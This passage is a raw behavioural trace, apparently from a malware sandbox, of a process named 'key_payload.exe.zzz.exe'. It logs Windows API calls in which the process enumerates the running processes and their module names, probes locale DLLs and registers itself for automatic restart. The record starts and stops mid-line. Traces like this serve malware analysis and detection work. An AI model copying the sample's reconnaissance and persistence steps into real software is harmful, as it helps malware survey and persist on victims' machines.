0x100d4d0*="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" [0094.500] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned="key_payload.exe.zzz.exe" [0094.500] EnumProcesses (in: lpidProcess=0xf34468, cb=0xa000, lpcbNeeded=0xf34464 | out: lpidProcess=0xf34468, lpcbNeeded=0xf34464) returned 1 [0094.503] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0094.503] CloseHandle (hObject=0x0) returned 0 [0094.503] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0094.503] CloseHandle (hObject=0x0) returned 0 [0094.503] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x108) returned 0x0 [0094.503] CloseHandle (hObject=0x0) returned 0 [0094.504] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x154) returned 0x0 [0094.504] CloseHandle (hObject=0x0) returned 0 [0094.504] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x194) returned 0x0 [0094.504] CloseHandle (hObject=0x0) returned 0 [0094.504] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x19c) returned 0x0 [0094.504] CloseHandle (hObject=0x0) returned 0 [0094.504] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0094.504] CloseHandle (hObject=0x0) returned 0 [0094.504] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e4) returned 0x0 [0094.504] CloseHandle (hObject=0x0) returned 0 [0094.504] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1ec) returned 0x0 [0094.504] CloseHandle (hObject=0x0) returned 0 [0094.504] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x240) returned 0x0 [0094.504] CloseHandle (hObject=0x0) returned 0 [0094.504] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x26c) returned 0x0 [0094.504] CloseHandle (hObject=0x0) returned 0 [0094.504] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d8) returned 0x0 [0094.505] CloseHandle (hObject=0x0) returned 0 [0094.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x318) returned 0x0 [0094.505] CloseHandle (hObject=0x0) returned 0 [0094.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x340) returned 0x0 [0094.505] CloseHandle (hObject=0x0) returned 0 [0094.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x358) returned 0x0 [0094.505] CloseHandle (hObject=0x0) returned 0 [0094.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x368) returned 0x0 [0094.505] CloseHandle (hObject=0x0) returned 0 [0094.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a4) returned 0x0 [0094.505] CloseHandle (hObject=0x0) returned 0 [0094.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x294) returned 0x0 [0094.505] CloseHandle (hObject=0x0) returned 0 [0094.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x140) returned 0x0 [0094.505] CloseHandle (hObject=0x0) returned 0 [0094.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x424) returned 0x0 [0094.505] CloseHandle (hObject=0x0) returned 0 [0094.506] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x44c) returned 0x0 [0094.506] CloseHandle (hObject=0x0) returned 0 [0094.506] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d0) returned 0x0 [0094.506] CloseHandle (hObject=0x0) returned 0 [0094.506] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5e0) returned 0x0 [0094.506] CloseHandle (hObject=0x0) returned 0 [0094.506] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7c8) returned 0x24c [0094.506] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 0 [0094.506] CloseHandle (hObject=0x24c) returned 1 [0094.506] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7d0) returned 0x24c [0094.506] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 0 [0094.506] CloseHandle (hObject=0x24c) returned 1 [0094.506] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x698) returned 0x24c [0094.507] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 0 [0094.507] CloseHandle (hObject=0x24c) returned 1 [0094.507] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x820) returned 0x24c [0094.507] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 0 [0094.507] CloseHandle (hObject=0x24c) returned 1 [0094.507] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9b0) returned 0x24c [0094.507] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 0 [0094.507] CloseHandle (hObject=0x24c) returned 1 [0094.507] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa1c) returned 0x24c [0094.507] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 0 [0094.508] CloseHandle (hObject=0x24c) returned 1 [0094.508] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xac8) returned 0x24c [0094.508] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.509] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0xcc0000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="nigeriareached.exe") returned 0x12 [0094.509] CloseHandle (hObject=0x24c) returned 1 [0094.509] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x810) returned 0x24c [0094.509] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.510] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0x870000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="bass_cosmetics_effectiveness.exe") returned 0x20 [0094.510] CloseHandle (hObject=0x24c) returned 1 [0094.510] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8a4) returned 0x24c [0094.510] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.511] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0x1210000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="optimize.exe") returned 0xc [0094.511] CloseHandle (hObject=0x24c) returned 1 [0094.512] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbd0) returned 0x24c [0094.512] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.512] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0x350000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="bullet_save.exe") returned 0xf [0094.513] CloseHandle (hObject=0x24c) returned 1 [0094.513] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8d0) returned 0x24c [0094.513] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.514] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0xf50000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="herbs.exe") returned 0x9 [0094.514] CloseHandle (hObject=0x24c) returned 1 [0094.514] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8ec) returned 0x24c [0094.514] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.515] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0xc80000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="expenditure-vincent-tablet.exe") returned 0x1e [0094.515] CloseHandle (hObject=0x24c) returned 1 [0094.515] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x708) returned 0x24c [0094.515] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.516] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0xdb0000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="deathswound.exe") returned 0xf [0094.517] CloseHandle (hObject=0x24c) returned 1 [0094.517] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbf4) returned 0x24c [0094.517] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.518] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0xa40000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="homes.exe") returned 0x9 [0094.518] CloseHandle (hObject=0x24c) returned 1 [0094.518] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b4) returned 0x24c [0094.518] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.519] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0xbf0000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="tu-admit.exe") returned 0xc [0094.519] CloseHandle (hObject=0x24c) returned 1 [0094.519] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x908) returned 0x24c [0094.519] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.520] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0x910000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="asin.exe") returned 0x8 [0094.520] CloseHandle (hObject=0x24c) returned 1 [0094.520] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1fc) returned 0x24c [0094.520] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.521] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0x170000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="flickr debate gs.exe") returned 0x14 [0094.521] CloseHandle (hObject=0x24c) returned 1 [0094.521] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbd4) returned 0x24c [0094.521] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.522] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0xa20000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="seafoodoptwherever.exe") returned 0x16 [0094.523] CloseHandle (hObject=0x24c) returned 1 [0094.523] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa24) returned 0x24c [0094.523] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.523] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0xb80000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="hayes.exe") returned 0x9 [0094.524] CloseHandle (hObject=0x24c) returned 1 [0094.524] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d4) returned 0x24c [0094.524] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.525] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0xdf0000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="definitionselectionsea.exe") returned 0x1a [0094.525] CloseHandle (hObject=0x24c) returned 1 [0094.525] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb30) returned 0x24c [0094.525] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.526] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0x930000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="containers-reprint-true.exe") returned 0x1b [0094.526] CloseHandle (hObject=0x24c) returned 1 [0094.526] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e8) returned 0x24c [0094.526] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.527] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0xb0000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="containingbarryslovenia.exe") returned 0x1b [0094.527] CloseHandle (hObject=0x24c) returned 1 [0094.527] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xab0) returned 0x24c [0094.527] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.528] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0xef0000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="jones weekend fundamental.exe") returned 0x1d [0094.528] CloseHandle (hObject=0x24c) returned 1 [0094.529] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x24c) returned 0x24c [0094.529] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.529] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0xc30000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="requesting.exe") returned 0xe [0094.530] CloseHandle (hObject=0x24c) returned 1 [0094.530] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8d8) returned 0x24c [0094.530] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.531] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0xda0000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="walls flashing hull.exe") returned 0x17 [0094.531] CloseHandle (hObject=0x24c) returned 1 [0094.548] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe34) returned 0x24c [0094.548] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 0 [0094.548] CloseHandle (hObject=0x24c) returned 1 [0094.548] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe44) returned 0x24c [0094.548] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 0 [0094.548] CloseHandle (hObject=0x24c) returned 1 [0094.548] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeac) returned 0x0 [0094.548] CloseHandle (hObject=0x0) returned 0 [0094.548] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf2c) returned 0x24c [0094.548] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.550] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0x13e0000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="key_payload.exe.zzz.exe") returned 0x17 [0094.550] CloseHandle (hObject=0x24c) returned 1 [0094.551] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf84) returned 0x24c [0094.551] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.551] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0x1110000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="key_payload.exe.zzz.exe") returned 0x17 [0094.551] CloseHandle (hObject=0x24c) returned 1 [0094.552] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf8c) returned 0x24c [0094.552] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 1 [0094.552] GetModuleBaseNameW (in: hProcess=0x24c, hModule=0x200000, lpBaseName=0xf3e468, nSize=0x400 | out: lpBaseName="cmd.exe") returned 0x7 [0094.552] CloseHandle (hObject=0x24c) returned 1 [0094.552] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf98) returned 0x24c [0094.552] EnumProcessModules (in: hProcess=0x24c, lphModule=0xf34458, cb=0x4, lpcbNeeded=0xf3445c | out: lphModule=0xf34458, lpcbNeeded=0xf3445c) returned 0 [0094.553] CloseHandle (hObject=0x24c) returned 1 [0094.553] GetLastError () returned 0x12b [0094.553] SetLastError (dwErrCode=0x12b) [0094.553] GetLastError () returned 0x12b [0094.553] SetLastError (dwErrCode=0x12b) [0094.553] GetLastError () returned 0x12b [0094.553] SetLastError (dwErrCode=0x12b) [0094.554] InitCommonControlsEx (picce=0xf3f228) returned 1 [0094.575] GetModuleFileNameW (in: hModule=0x1110000, lpFilename=0xf3ea30, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0094.576] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned=".exe" [0094.576] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0094.576] GetProcAddress (hModule=0x75130000, lpProcName="GetThreadPreferredUILanguages") returned 0x751495e0 [0094.576] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0xf3e904, pwszLanguagesBuffer=0xf3e914, pcchLanguagesBuffer=0xf3e908 | out: pulNumLanguages=0xf3e904, pwszLanguagesBuffer=0xf3e914, pcchLanguagesBuffer=0xf3e908) returned 1 [0094.576] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0094.576] GetProcAddress (hModule=0x75130000, lpProcName="GetLocaleInfoEx") returned 0x7514a000 [0094.577] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3, lpLCData=0xf3e8b8, cchData=4 | out: lpLCData="ENU") returned 4 [0094.577] GetLastError () returned 0x0 [0094.577] SetLastError (dwErrCode=0x0) [0094.577] GetLastError () returned 0x0 [0094.577] SetLastError (dwErrCode=0x0) [0094.577] GetLastError () returned 0x0 [0094.577] SetLastError (dwErrCode=0x0) [0094.578] GetLastError () returned 0x0 [0094.578] SetLastError (dwErrCode=0x0) [0094.578] GetLastError () returned 0x0 [0094.578] SetLastError (dwErrCode=0x0) [0094.578] GetLastError () returned 0x0 [0094.578] SetLastError (dwErrCode=0x0) [0094.578] GetLastError () returned 0x0 [0094.578] SetLastError (dwErrCode=0x0) [0094.578] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzENU.dll", hFile=0x0, dwFlags=0x60) returned 0x0 [0094.578] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzENU.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0094.579] GetLocaleInfoEx (in: lpLocaleName="en", LCType=0x3, lpLCData=0xf3e8b8, cchData=4 | out: lpLCData="ENU") returned 4 [0094.579] GetLastError () returned 0x2 [0094.579] SetLastError (dwErrCode=0x2) [0094.579] GetLastError () returned 0x2 [0094.579] SetLastError (dwErrCode=0x2) [0094.579] GetLastError () returned 0x2 [0094.579] SetLastError (dwErrCode=0x2) [0094.579] GetLastError () returned 0x2 [0094.579] SetLastError (dwErrCode=0x2) [0094.579] GetLastError () returned 0x2 [0094.579] SetLastError (dwErrCode=0x2) [0094.579] GetLastError () returned 0x2 [0094.579] SetLastError (dwErrCode=0x2) [0094.579] GetLastError () returned 0x2 [0094.580] SetLastError (dwErrCode=0x2) [0094.580] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzENU.dll", hFile=0x0, dwFlags=0x60) returned 0x0 [0094.580] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzENU.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0094.580] GetLastError () returned 0x2 [0094.580] SetLastError (dwErrCode=0x2) [0094.580] GetLastError () returned 0x2 [0094.580] SetLastError (dwErrCode=0x2) [0094.580] GetLastError () returned 0x2 [0094.580] SetLastError (dwErrCode=0x2) [0094.580] GetLastError () returned 0x2 [0094.580] SetLastError (dwErrCode=0x2) [0094.580] GetLastError () returned 0x2 [0094.580] SetLastError (dwErrCode=0x2) [0094.580] GetLastError () returned 0x2 [0094.580] SetLastError (dwErrCode=0x2) [0094.581] GetLastError () returned 0x2 [0094.581] SetLastError (dwErrCode=0x2) [0094.581] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzLOC.dll", hFile=0x0, dwFlags=0x60) returned 0x0 [0094.581] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzLOC.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0094.581] CoCreateGuid (in: pguid=0xf3ec28 | out: pguid=0xf3ec28*(Data1=0x3f3ff81f, Data2=0x3e40, Data3=0x416c, Data4=([0]=0x95, [1]=0x4f, [2]=0xcc, [3]=0x8, [4]=0x76, [5]=0x98, [6]=0xbe, [7]=0x65))) returned 0x0 [0094.581] GetLastError () returned 0x2 [0094.581] SetLastError (dwErrCode=0x2) [0094.581] GetLastError () returned 0x2 [0094.582] SetLastError (dwErrCode=0x2) [0094.582] GetLastError () returned 0x2 [0094.582] SetLastError (dwErrCode=0x2) [0094.582] GetLastError () returned 0x2 [0094.582] SetLastError (dwErrCode=0x2) [0094.583] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0094.583] GetProcAddress (hModule=0x75130000, lpProcName="RegisterApplicationRestart") returned 0x75152250 [0094.583] RegisterApplicationRestart (pwzCommandline=" /RestartByRestartManager:3F3FF81F-3E40-416c-954F-CC087698BE65", dwFlags=0x0) returned 0x0 [0094.584] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0xffdf30 [0094.584] SHGetMalloc (in: ppMalloc=0xfffcdc | out: ppMalloc=0xfffcdc*=0x750f5ee0) returned 0x0 [0094.585] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0094.585] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0094.585] VerifyVersionInfoW (in: lpVersionInformation=0xf3eb40, dwTypeMask=0x3, dwlConditionMask=0x1b | out: lpVersionInformation=0xf3eb40) returned 1 [0094.585] GetSystemMetrics (nIndex=4096) returned 0 [0094.585] GetSysColor (nIndex=22) returned 0xe3e3e3 [0094.585] GetSysColor (nIndex=21) returned 0x696969 [0094.585] GetWindowDC (hWnd=0x0) returned 0x3010738 [0094.586] GetDeviceCaps (hdc=0x3010738, index=12) returned 32 [0094.586] GetSysColor (nIndex=15) returned 0xf0f0f0 [0094.586] GetSysColor (nIndex=16) returned 0xa0a0a0 [0094.586] GetSysColor (nIndex=21) returned 0x696969 [0094.586] GetSysColor (nIndex=22) returned 0xe3e3e3 [0094.586] GetSysColor (nIndex=20) returned 0xffffff [0094.586] GetSysColor (nIndex=18) returned 0x0 [0094.586] GetSysColor (nIndex=17) returned 0x6d6d6d [0094.586] GetSysColor (nIndex=6) returned 0x646464 [0094.586] GetSysColor (nIndex=13) returned 0xff9933 [0094.586] GetSysColor (nIndex=14) returned 0xffffff [0094.586] GetSysColor (nIndex=5) returned 0xffffff [0094.586] GetSysColor (nIndex=8) returned 0x0 [0094.586] GetSysColor (nIndex=9) returned 0x0 [0094.586] GetSysColor (nIndex=7) returned 0x0 [0094.586] GetSysColor (nIndex=2) returned 0xd1b499 [0094.586] GetSysColor (nIndex=3) returned 0xdbcdbf [0094.586] GetSysColor (nIndex=27) returned 0xead1b9 [0094.586] GetSysColor (nIndex=28) returned 0xf2e4d7 [0094.586] GetSysColor (nIndex=10) returned 0xb4b4b4 [0094.586] GetSysColor (nIndex=11) returned 0xfcf7f4 [0094.586] GetSysColor (nIndex=19) returned 0x0 [0094.586] GetSysColor (nIndex=26) returned 0xcc6600 [0094.586] GetSysColorBrush (nIndex=16) returned 0x1100075 [0094.586] GetSysColorBrush (nIndex=20) returned 0x1100076 [0094.587] GetSysColorBrush (nIndex=5) returned 0x110007b [0094.587] DeleteObject (ho=0xc10071c) returned 1 [0094.587] CreateSolidBrush (color=0xf0f0f0) returned 0x42100553 [0094.587] DeleteObject (ho=0x551006b7) returned 1 [0094.587] CreateSolidBrush (color=0xf0f0f0) returned 0xd10071c [0094.587] DeleteObject (ho=0x910063a) returned 1 [0094.587] CreateSolidBrush (color=0xd1b499) returned 0xb100737 [0094.587] DeleteObject (ho=0xc100637) returned 1 [0094.588] CreateSolidBrush (color=0xdbcdbf) returned 0x561006b7 [0094.588] DeleteObject (ho=0x1710073a) returned 1 [0094.588] CreateSolidBrush (color=0xff9933) returned 0xa10063a [0094.588] DeleteObject (ho=0x510073f) returned 1 [0094.588] CreateSolidBrush (color=0x696969) returned 0x1710072d [0094.588] DeleteObject (ho=0x1210071b) returned 1 [0094.588] CreateSolidBrush (color=0xffffff) returned 0xd100637 [0094.589] DeleteObject (ho=0x26300722) returned 1 [0094.589] CreatePen (iStyle=0, cWidth=1, color=0xff9933) returned 0x27300722 [0094.589] DeleteObject (ho=0xb30071e) returned 1 [0094.589] CreatePen (iStyle=0, cWidth=1, color=0xf0f0f0) returned 0xc30071e [0094.589] DeleteObject (ho=0x5300740) returned 1 [0094.589] CreatePen (iStyle=0, cWidth=1, color=0xa0a0a0) returned 0x6300740 [0094.589] DeleteObject (ho=0x6100742) returned 1 [0094.589] CreateSolidBrush (color=0xf7f7f7) returned 0x1310071b [0094.590] ReleaseDC (hWnd=0x0, hDC=0x3010738) returned 1 [0094.590] GetWindowDC (hWnd=0x0) returned 0x3010738 [0094.590] GetDeviceCaps (hdc=0x3010738, index=88) returned 96 [0094.590] DeleteObject (ho=0x180a01b3) returned 1 [0094.590] DeleteObject (ho=0x230a054d) returned 1 [0094.591] DeleteObject (ho=0x40a072a) returned 1 [0094.591] DeleteObject (ho=0x420a06a9) returned 1 [0094.591] DeleteObject (ho=0x40a072e) returned 1 [0094.591] DeleteObject (ho=0x2c0a06c7) returned 1 [0094.591] DeleteObject (ho=0x40a0732) returned 1 [0094.591] DeleteObject (ho=0x1f0a0649) returned 1 [0094.592] DeleteObject (ho=0x40a0733) returned 1 [0094.592] DeleteObject (ho=0xf0a01af) returned 1 [0094.592] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0xf3e8c8, fWinIni=0x0 | out: pvParam=0xf3e8c8) returned 1 [0094.592] GetTextCharsetInfo (in: hdc=0x3010738, lpSig=0x0, dwFlags=0x0 | out: 